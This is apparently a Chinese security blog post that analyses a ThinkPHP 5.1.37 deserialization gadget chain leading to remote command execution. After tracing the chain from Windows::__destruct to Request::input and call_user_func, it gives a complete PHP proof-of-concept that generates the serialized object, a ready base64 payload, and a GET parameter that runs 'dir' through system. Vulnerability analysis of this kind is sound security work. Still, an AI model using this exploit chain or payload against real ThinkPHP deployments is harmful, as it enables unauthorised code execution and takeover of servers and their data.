thinkphp5.1.37反序列化漏洞分析

thinkphp5.1.37反序列化漏洞分析

三月 25, 2022

part 1

反序列化起始点为__destruct、__wakeup,因为这两个函数的调用在反序列化过程中都会自动调用。

因此寻找代码中可用的__destruct函数,找到thinkphp/library/think/process/pipes/Windows.php中的__destruct 方法:

img

调用removeFiles()方法,

跟进removeFiles(),发现可以利用file_exit函数触发任意类的__toString()。因为file_exit函数会将变量当做字符串执行:

img

跟进thinkphp/library/think/.Collection.php中的__toString方法,其调用了toJson方法,而toJson方法中调用了toArray方法:

img

由于__toString函数的返回结果调用了toArray方法,而toArray中可以触发__call的地方:

thinkphp/library/think/model/concern/Conversion.php:

img

这里我们利用到$relation->visible这个触发点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$relation不存在的时候,就会进入到$relation->visible($name),而$relation = $this->getRelation($key);     
getRelation()函数:

public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

$this->relation为空,则array_key_exists($name, $this->relation)条件不成立,返回空。
条件一成立,$relation为空。


进入到下面的if语句中:

if (!$relation) {
$relation = $this->getAttr($key); //$relation可控,
$relation->visible($name);
}

跟进getArrt()函数:
$value = $this->getData($name);
如果这个$value值可控,那么下方的$relation值就可控了。

要使这个条件成立,需要跟进getData()函数并且让getAttr() 函数486行下面的if 判断条件都不满足。也就是将那些变量都设置为空。


function getData(){
elseif(array_key_exists($name,$this->data)) {
return $this->data[$name];
}
```````
}

发现这里的$this->data可控,$name即为传入的$key$key 也就是$this->append 的键名。
因此返回$this->data[$key],$relation = $this->data[$key],因此$relation可控。在这里将其设置为一个new 对象,调用对象中不存在的visible函数,但是存在__call函数的地方,触发__call函数。

part 2

因此全文查找一个符合条件的__call函数:

thinkphp/library/think/Request.php:

img

在这个方法中,$this->hook[$method]参数可控,相当于call_user_func_array(array(任意类,任意方法),$args)。

call_user_func_array()是将$args数组作为参数传入array(任意类,任意方法)函数中使用。

但是用于前面的array_unshift,会将$this对象插入到$args数组的头部位置,然后$args又作为call_user_func_array的参数调用,这样的话,$this是一个固定的Request类,构造命令执行需要在Request中寻找到合适的方法。

在Request类中存在input函数:

img

1
2
3
4
        if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
}
当参数$data为数组时,将$data的键值、键名以及$filter作为函数filterValue的参数传入调用。

跟进查看这个filterValue过滤器函数:

img

call_user_func($filter, $value);

直接进行call_user_func的命令执行。

因此如果能调用input方法,就能成功构造payload导致命令执行。

但是如果直接调用input方法,传入的$name的类型为数组回和input函数中对$name强制转化为字符串的类型冲突,导致程序异常退出。

toArrray()中要求传入的$name是数组的形式:

img

而在input函数中会强制转化为string类型:

img

因此寻找调用input函数的方法,找到param()方法,但是param方法的第一个参数都为$name变量,传入后同样造成类型冲突。

再寻找param()被调用的地方试试,在Request类中有一个isAjax方法,调用了param函数,且被调用的param函数中第一个值$this->config[‘var_ajax’]可控,将其构造成字符串的形式,就能符合input函数中对于$name的类型判断。

img

在这里跟进param()方法:

img

$name经过method函数和method函数调用的server函数处理后,返回的是字符串false字段;满足调用input方法时string类型的转化问题。

$this->param字段值由get方法传入获取,可以在payload中直接设定该参数的值,因为最后的利用采用的是get传参方式,可以获取到该值。将该值设置为数组,即可满足传入input中$data为数组的要求。

其中$filter参数由$filter = $this->getFilter($filter, $default);中$this->filter获取。

img

因此:

传入的$this->param构造成数组的形式,$name返回的是false字段满足input函数中的string类型转化;$filter由input函数中获取:

img

进入input函数,触发filterValue函数,执行call_user_func(),造成命令执行。

part 3

整理一下思路:

1
2
3
4
5
一开始是通过Windows.php中的__destruct 方法调用removeFiles(),其中的file_exist触发toString方法,toString调用了toJson返回值调用了toArray,其中toArray存在__call函数调用的触发点;

我们选择了 $relation->visible($name);调用某个特定类中不存在的visible方法从而触发其中的__call方法,__call方法中由于$this的限定,我们找到了thinkphp中常用触发点input方法,因为其相当于直接的命令执行:call_user_func($filter, $value);

但是这里需要进行间接地调用input函数,因此开始寻找调用了该方法的方法,找到param,再找到了调用param的isAjax方法,在这里可以构造param()方法的第一个值使其满足类型要求:isAjax()->param()->input()->call_user_func($filter, $value)

因此:

只需要让Request 对象中的 $this->filter=’system’ 且 isAjax调用的param中的$this->param=array(‘id’) 即可。其相当于最终命令执行中的参数$filter以及$value。($this->param构造成数组的形式是为了满足input函数的要求)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
最终的payload:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
//protected $param = ['dir'];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'']; //不能赋值,在传入method方法和server方法判断时,会返回false,满足input中对$name为字符串的类型判断。
$this->hook = ["visible"=>[$this,"isAjax"]]; //调用该类中不存在的visible方法,触发__call函数,调用本类中的isAjax函数,传入参数filer
// $this->param = ['dir'];

}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot; //因为Model是一个抽象类,不能直接实例化对象,因此调用其子类Pivot
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

在index.php主页中增加反序列化触发的代码:

img

传入:

1
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToxOntpOjA7czozOiJkaXIiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&xiao=dir

img

直接在后面加上xiao=dir或者是在poc中写入$this->param都可。

参考文章

https://blog.csdn.net/qq_41891666/article/details/107463740